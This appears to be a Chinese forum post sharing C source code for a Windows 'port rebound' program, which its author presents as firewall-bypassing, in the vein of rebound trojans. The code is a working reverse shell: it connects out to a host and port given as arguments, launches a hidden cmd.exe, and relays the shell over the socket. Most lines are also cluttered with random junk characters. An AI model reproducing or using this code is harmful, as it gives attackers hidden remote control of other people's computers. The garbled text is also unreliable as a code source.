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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nYK!'x$  
@_h=,g #@  
/* ============================== Lf8{']3  
Rebound port in Windows NT g#5t8w  
By wind,2006/7 I;mc:@R<  
===============================*/ Ej`G(  
#include RLDu5  
#include t1aKq)?  
ay=f1<a  
#pragma comment(lib,"wsock32.lib") #;'*W$Wk2  
ck8Qs08  
void OutputShell(); TG.\C8;vFh  
SOCKET sClient; WVL\|y728s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 57$/Dn  
g;y*F;0@  
void main(int argc,char **argv) 5WtI.7r  
{ 6 %T_;"hb  
WSADATA stWsaData; k:1|Z+CJ  
int nRet; k6_OP]  
SOCKADDR_IN stSaiClient,stSaiServer; j*_#{niy:  
5)M#hx%]#  
if(argc != 3) o^BX:\}  
{ Vb~;"WABo  
printf("Useage:\n\rRebound DestIP DestPort\n"); l +O\oD?-  
return; b28C (  
} AE%zqvp>  
9cMMkOM J  
WSAStartup(MAKEWORD(2,2),&stWsaData); (HeIO  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 83{v_M  
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stSaiClient.sin_family = AF_INET; ?:RWHe.P  
stSaiClient.sin_port = htons(0); c5{3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SxM5'KQ  
w)gMJX/0yw  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0-U%R)Q  
{ J5\2`U_FZ  
printf("Bind Socket Failed!\n"); FsfP^a  
return; W1UqvaR  
} N3Z6o.k  
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stSaiServer.sin_family = AF_INET; BCr*GtR)W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5OC3:%g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SJ:Wr{ Or3  
0U:9&j P,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^^gV@fz  
{ 0ac'<;9]zP  
printf("Connect Error!"); "=9)|{=m  
return; @z(s\T  
} vslN([@JR  
OutputShell(); iIg99c7/&9  
} ?yvjX90  
cX48?srG  
void OutputShell() Z`@< O%  
{ Pv3 e*I((  
char szBuff[1024]; [2zS@p  
SECURITY_ATTRIBUTES stSecurityAttributes; W; ?'  
OSVERSIONINFO stOsversionInfo; kL%o9=R1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G~Fjla\?Q  
STARTUPINFO stStartupInfo; $C6O<A  
char *szShell; 4i Z7BD  
PROCESS_INFORMATION stProcessInformation; T@DT|lTI  
unsigned long lBytesRead; ww~gmz  
}Ym~[S*x  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BoPJ;6?>}  
B,ZLX/c9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #^< Rx{  
stSecurityAttributes.lpSecurityDescriptor = 0; EeS VY  
stSecurityAttributes.bInheritHandle = TRUE; &?yVLft  
irzWk3@:  
_l](dqyuN(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n6 AP6PK7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b/'RJQSAc  
q,_ 1?A)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7j\jOkl V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N >+L?C  
stStartupInfo.wShowWindow = SW_HIDE; \-)augq([  
stStartupInfo.hStdInput = hReadPipe; [+4--#&{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &V7{J9  
-8,lXrH  
GetVersionEx(&stOsversionInfo); _cXLQ)-  
w]Vd IS  
switch(stOsversionInfo.dwPlatformId) z T#j.v  
{ rfc;   
case 1: KN zm)O  
szShell = "command.com"; \Y}nehxG@  
break; /g]m,Y{OI  
default: o_ SR  
szShell = "cmd.exe"; qi-!iT(fe  
break; h8tKYm  
} wr;8o*~  
i^u5j\pfY*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l+i9)Fc<i  
!3#*hL1fy  
send(sClient,szMsg,77,0); "]D2}E>U;  
while(1) 6/eh~ME=  
{ F;_L/8Ov1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?W4IAbT\G  
if(lBytesRead) [#6Eax,j  
{ ^H UNq[sQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E;^~}  
send(sClient,szBuff,lBytesRead,0); w>$2  
} xQ7-4 N,  
else sDvtk]4o-4  
{ 4V0j1 k&'  
lBytesRead=recv(sClient,szBuff,1024,0); HX:rVHY  
if(lBytesRead<=0) break; }[*BC5{>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o  w<.Dh  
} ] 6rr;S  
} y9L:2f\  
Wo+'j $k  
return; rN%aP-sa<  
}
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